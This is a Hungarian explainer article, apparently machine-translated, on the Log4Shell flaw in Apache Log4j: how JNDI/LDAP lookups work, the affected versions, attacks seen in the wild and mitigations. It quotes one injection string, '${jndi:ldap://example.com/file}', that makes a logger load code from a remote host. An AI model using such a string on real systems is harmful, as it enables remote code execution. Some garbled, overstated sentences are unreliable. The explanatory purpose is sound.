Tartalomjegyzék[Elrejt][Előadás]
2021 novemberének végén feltártuk a kiberbiztonságot fenyegető komoly fenyegetést. Ez a kihasználás potenciálisan több millió számítógépes rendszert érinthet világszerte.
Ez egy útmutató a Log4j sebezhetőségéről, és arról, hogy egy figyelmen kívül hagyott tervezési hiba hogyan tette támadásra nyitva a világ számítógépes szolgáltatásainak több mint 90%-át.
Az Apache Log4j egy nyílt forráskódú, Java-alapú naplózó segédprogram, amelyet az Apache Software Foundation fejlesztett ki. Eredetileg Ceki Gülcü írta 2001-ben, jelenleg az Apache Logging Services része, amely az Apache Software Foundation projektje.
A vállalatok világszerte a Log4j könyvtárat használják alkalmazásaik naplózására. Valójában a Java könyvtár annyira mindenütt jelen van, hogy megtalálható az Amazon, a Microsoft, a Google és más alkalmazásokban.
A könyvtár kiemelkedő szerepe azt jelenti, hogy a kód bármely lehetséges hibája számítógépek millióit hagyhatja nyitva a feltörések előtt. 24. november 2021-én a felhő biztonsági az Alibabának dolgozó kutató szörnyű hibát fedezett fel.
A Log4j biztonsági rés, más néven Log4Shell, 2013 óta észrevétlenül létezett. A biztonsági rés lehetővé tette a rosszindulatú szereplők számára, hogy kódot futtatjanak a Log4j-t futtató érintett rendszereken. 9. december 2021-én hozták nyilvánosságra
Az iparági szakértők a Log4Shell hibáját a legnagyobb sebezhetősége a közelmúltban.
A sebezhetőség közzétételét követő héten a kiberbiztonsági csapatok több millió támadást észleltek. Egyes kutatók percenként több mint száz támadást figyeltek meg.
Hogyan működik?
Ahhoz, hogy megértsük, miért olyan veszélyes a Log4Shell, meg kell értenünk, mire képes.
A Log4Shell biztonsági rése tetszőleges kódfuttatást tesz lehetővé, ami lényegében azt jelenti, hogy a támadó bármilyen parancsot vagy kódot futtathat a célgépen.
Hogyan valósítja meg ezt?
Először is meg kell értenünk, mi az a JNDI.
A Java elnevezési és címtári felület (JNDI) egy Java szolgáltatás, amely lehetővé teszi a Java programok számára, hogy egy néven keresztül fedezzék fel és keressenek adatokat és erőforrásokat. Ezek a címtárszolgáltatások azért fontosak, mert rendszerezett rekordkészletet biztosítanak a fejlesztőknek, amelyekre könnyen hivatkozhatnak alkalmazások létrehozásakor.
A JNDI különféle protokollokat használhat egy bizonyos könyvtár eléréséhez. Az egyik ilyen protokoll a Lightweight Directory Access Protocol vagy az LDAP.
Egy karakterlánc naplózásakor log4j karakterlánc-helyettesítéseket hajt végre, amikor az alak kifejezéseivel találkoznak ${prefix:name}
.
Például, Text: ${java:version}
szövegként lehet naplózni: Java version 1.8.0_65. Az ilyen típusú helyettesítések mindennaposak.
Olyan kifejezéseink is lehetnek, mint pl Text: ${jndi:ldap://example.com/file}
amely a JNDI rendszert használja Java objektumok betöltésére egy URL-ről az LDAP protokollon keresztül.
Ez hatékonyan betölti az adott URL-ről érkező adatokat a gépbe. Bármely potenciális hacker tárolhat rosszindulatú kódot egy nyilvános URL-címen, és várja, hogy a Log4j-t használó gépek naplózza azt.
Mivel a naplóüzenetek tartalma felhasználó által vezérelt adatokat tartalmaz, a hackerek beilleszthetik saját JNDI hivatkozásaikat, amelyek az általuk irányított LDAP-kiszolgálókra mutatnak. Ezek az LDAP-kiszolgálók tele lehetnek rosszindulatú Java-objektumokkal, amelyeket a JNDI a biztonsági résen keresztül végrehajthat.
A helyzetet tovább rontja, hogy nem számít, hogy az alkalmazás szerveroldali vagy kliensoldali.
Mindaddig, amíg a naplózó képes beolvasni a támadó rosszindulatú kódját, az alkalmazás továbbra is nyitva áll a kihasználások előtt.
Ki érintett?
A biztonsági rés az APache Log4j-t használó összes rendszert és szolgáltatást érinti, a 2.0-s verziótól a 2.14.1-es verzióig.
Számos biztonsági szakértő szerint a biztonsági rés számos Java-t használó alkalmazást érinthet.
A hibát először a Microsoft tulajdonában lévő Minecraft videojátékban fedezték fel. A Microsoft arra kérte felhasználóit, hogy frissítsék Java kiadású Minecraft szoftverüket, hogy elkerüljék a kockázatokat.
Jen Easterly, a Kiberbiztonsági és Infrastruktúra-biztonsági Ügynökség (CISA) igazgatója szerint a szállítók fő felelősség hogy megakadályozzák a végfelhasználókat a rosszindulatú szereplőktől, hogy kihasználják ezt a biztonsági rést.
"A szállítóknak kommunikálniuk kell ügyfeleikkel is, hogy a végfelhasználók tudják, hogy termékük tartalmazza ezt a biztonsági rést, és előnyben kell részesíteniük a szoftverfrissítéseket."
A támadások állítólag már elkezdődtek. A kiberbiztonsági szoftvereket gyártó Symantec számos támadási kérelmet figyelt meg.
Íme néhány példa a kutatók által észlelt támadások típusaira:
- botnetek
A botnetek olyan számítógépek hálózata, amelyek egyetlen támadó fél irányítása alatt állnak. Segítenek DDoS-támadások végrehajtásában, adatok ellopásában és egyéb csalásokban. A kutatók megfigyelték a Muhstik botnetet a Log4j exploitból letöltött shell szkriptekben.
- XMRig Miner Trojan
Az XMRig egy nyílt forráskódú kriptovaluta bányász, amely CPU-kat használ a Monero token bányászására. A kiberbűnözők telepíthetik az XMRig-et az emberek eszközeire, így a tudtuk nélkül használhatják feldolgozói teljesítményüket.
- Khonsari Ransomware
A zsarolóprogramok olyan rosszindulatú programokra utalnak, amelyek célja fájlok titkosítása számítógépen. A támadók ezután fizetést követelhetnek azért, hogy visszaadják a hozzáférést a titkosított fájlokhoz. A kutatók felfedezték a Khonsari ransomware-t a Log4Shell támadásokban. Windows szervereket céloznak meg, és a .NET keretrendszert használják.
Mi történik ezután?
Szakértők azt jósolják, hogy hónapokba vagy akár évekbe is telhet a Log4J sebezhetősége okozta káosz teljes kijavítása.
Ez a folyamat magában foglalja az összes érintett rendszer frissítését javított verzióval. Még ha ezeket a rendszereket ki is javítják, továbbra is fennáll az esetleges hátsó ajtók fenyegetése, amelyeket a hackerek már hozzáadtak ahhoz az ablakhoz, amely szerint a szerverek nyitva voltak a támadásokra.
Sok megoldások és enyhítések léteznek, hogy megakadályozzák az alkalmazások kihasználását ez a hiba. Az új Log4j 2.15.0-rc1 verziója különböző beállításokat módosított a biztonsági rés enyhítése érdekében.
A JNDI-t használó összes szolgáltatás alapértelmezés szerint le lesz tiltva, és a távoli keresések is korlátozottak. A keresési funkció letiltása a Log4j beállításaiban segít csökkenteni a lehetséges kihasználások kockázatát.
A Log4j-n kívül még mindig szükség van egy szélesebb tervre a nyílt forráskódú kihasználások megakadályozására.
Május elején a Fehér Ház kiadott egy végrehajtási utasítás amelynek célja a nemzeti kiberbiztonság javítása volt. Tartalmazott egy szoftverjegyzéket (SBOM), amely lényegében egy hivatalos dokumentum volt, amely az alkalmazás elkészítéséhez szükséges összes elem listáját tartalmazta.
Ez magában foglalja az olyan részeket, mint a nyílt forráskódú a fejlesztéshez használt csomagok, függőségek és API-k. Bár az SBOM-ok ötlete hasznosak az átláthatóság szempontjából, valóban segít a fogyasztónak?
A függőségek frissítése túl sok gondot okozhat. A vállalatok dönthetnek úgy, hogy bármilyen bírságot fizetnek, ahelyett, hogy megkockáztatnák, hogy többletidőt pazarolnak alternatív csomagok keresésére. Talán ezek az SBOM-ok csak akkor lesznek hasznosak, ha azok hatálya tovább korlátozott.
Következtetés
A Log4j probléma több, mint pusztán technikai probléma a szervezetek számára.
A vállalatvezetőknek tisztában kell lenniük azokkal a lehetséges kockázatokkal, amelyek akkor fordulhatnak elő, ha szervereik, termékeik vagy szolgáltatásaik olyan kódra támaszkodnak, amelyet ők maguk nem karbantartanak.
A nyílt forráskódú és harmadik féltől származó alkalmazásokra való támaszkodás mindig bizonyos mértékű kockázattal jár. A vállalatoknak meg kell fontolniuk kockázatcsökkentési stratégiák kidolgozását, mielőtt új fenyegetések napvilágra kerülnek.
Az internet nagy része nyílt forráskódú szoftverekre támaszkodik, amelyeket önkéntesek ezrei tartanak fenn világszerte.
Ha biztonságos helyen akarjuk tartani az internetet, a kormányoknak és a vállalatoknak be kell fektetniük a nyílt forráskódú erőfeszítések és a kiberbiztonsági ügynökségek finanszírozásába, mint pl. CISA.
Hagy egy Válaszol